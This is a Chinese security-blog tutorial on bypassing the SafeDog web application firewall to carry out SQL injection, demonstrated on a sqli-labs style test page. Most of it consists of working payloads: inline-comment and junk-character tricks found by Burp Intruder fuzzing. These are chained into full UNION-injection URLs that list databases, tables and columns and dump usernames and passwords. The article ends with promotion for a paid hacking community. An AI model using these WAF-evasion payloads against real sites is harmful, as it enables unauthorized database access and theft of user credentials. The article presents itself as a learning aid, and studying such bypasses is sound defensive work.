由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
SQL注入常规绕过的方式例如大小写,双写,编码,字符堆叠等等就不多叙述了,这里针对安全狗默认不开启防CC功能和他的一些防护规则作为突破点进行一个简单的FUZZ 绕过。
安全狗的详细绕过如下:
这里我们以安全狗作为案例,如果你按照常规方法输入 and,那么它会对这个进行一个过滤,从而出现如下界面
01
安全狗 and 的绕过(防止 and 和 or 的注入):
将 and 修改为 /*!12345and*/
注意12345是任意的五位数字,五位!(通常4-6位数字)
然后通过 burp 进行拦截,然后发送到 intruder 模块
然后我们需要先点击 clear,然后选中 12345 点击 add
然后即可进行爆破
然后就是找特征值,例如 14414 即为我们的 payload
http://security/Less-1/?id=2' /*14414and*/ 1=1 -- 1
and 绕过使用 /*!12345*/
另外 12345 这几个数字是随机的,位数推荐 4-6 位
02
安全狗 order by 的绕过(防止 ordery by 函数的利用):
当你的 get 请求 order by 如果是一起出现的时候,则会出现安全狗警告,这个时候你可以在 order 和 by 之间添加一些字符,(还是 4-6 位)触发页面如下:
order /*特殊符号*/ by
注意这里我们不用加上 !,因为我们是添加干扰字符
这里和上面 and 或者 or 绕过的方式不同的是,这里我们采用的是 在 order 和 by 之间添加干扰字符,而不是数字,从而实现绕 过
推荐使用的特殊字符:/$%^&*
同样的原理,对其进行爆破之后,得到 payload 为 //%$
http://security/Less-1/?id=2'
order /*//%$*/ by 1 -- 1
03
安全狗 select union 的绕过(防止联合查询 union):
select 和 union 放在一起的时候会触发
跟上面那个 order by 放在一起会触发一样的绕过道理,不过 select union 需要我们再次通过 burp 进行 fuzz
既然一样的绕过方式,那么 select /*/$%^*/ union 也是一样的方式,抓包,然后去 fuzz
http://security/Less-1/?id=-2' union /*/$%^*/
select 1,2,3 -- 1
上面我们介绍的是 and ,or,以及 select union 联合查询的绕过, 但是这是远远不够的,我们重点应该是放在如何绕过,从而查询数据
04
查询数据的绕过:
database()的绕过:
database 和 ()放在一起的时候会触发
waf,因此在 database 和 ()之间添加干
扰符即可,这里的干扰符是 ////
查询库的绕过语句:
http://security/Less-1/?id=-2' union /*/$%^*/
select 1,database/*////*/(),3 -- 1
查询到对应的数据库为 security,接下来就是查询表
查询表的绕过:
第一个绕过点: information_schema.tables
waf 会对后面那个 tables 进行拦截,要想绕过,需改成
information_schema./*!tables*/
第二个绕过点:from 和 information_schema./*!tables*/
当这两个放在一起的时候就会触发 waf,尽管 information_schema./*!table*/ 进行了绕过,但是还是会触发 waf
这里我们就要对 from 和 information.schema./*!tables*/ 之间进行处理了
http://security/Less-1/?id=-2' union /*/$%^*/ select 1,
group_concat(table_name),3 from --+
/*%/ %0a information_schema./*!tables*/ -- 1
绕过过程:首先在 union 和 select 之间放干扰符号,然后在 from 和 information_schema 之间放 --+以及正确的干扰符,然后通过 %0a 进行换行,最后把 information_schema.tables 中 tables 通过内联的方式进行绕过修改为 information_schema./*!tables*/
这里我们可以看到,数据全部都被取出来了,但是还有一个局限的点,这里我们没有通过 where 去指定对应的数据库,where table_name = security,因此它会查询出所有库里面的数据,因此我们还需要指出对应的库名才行
但是这里它又会出现 waf 拦截,因为 information_schema 和 where 出现在了一起,因此又需要在中间添加干扰符,在 information_schema./*!tables*/ /*干扰符*/ where 去进行 fuzz 测试
http://security/Less-1/?id=-2' union /*/$%^*/ select
1,group_concat(table_name),3
from --+/*%/ %0a information_schema./*!tables*/ /*////*/
where table_schema='security' -- 1
从而获取到 security 库所有的表名:
获取 security 对应表下的所有列名:
无非多添加了一个 and,and 采用内联的方式进行绕过
http://security/Less-1/?id=-2' union
/*/$%^*/ select 1,group_concat(
column_name),3from -- +/*%/ %0a
information_schema./*!columns*/
/*////*/ where table_schema=
'security' /*!12441and*/ table_name='users' -- 1
查询数据的绕过:
http://security/Less-1/?id=-2' union
/*/$%^*/ select 1,group_concat(
username,0x3a,password),3
from /*////*/ users -- +
此时可以看到已经绕过安全狗
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读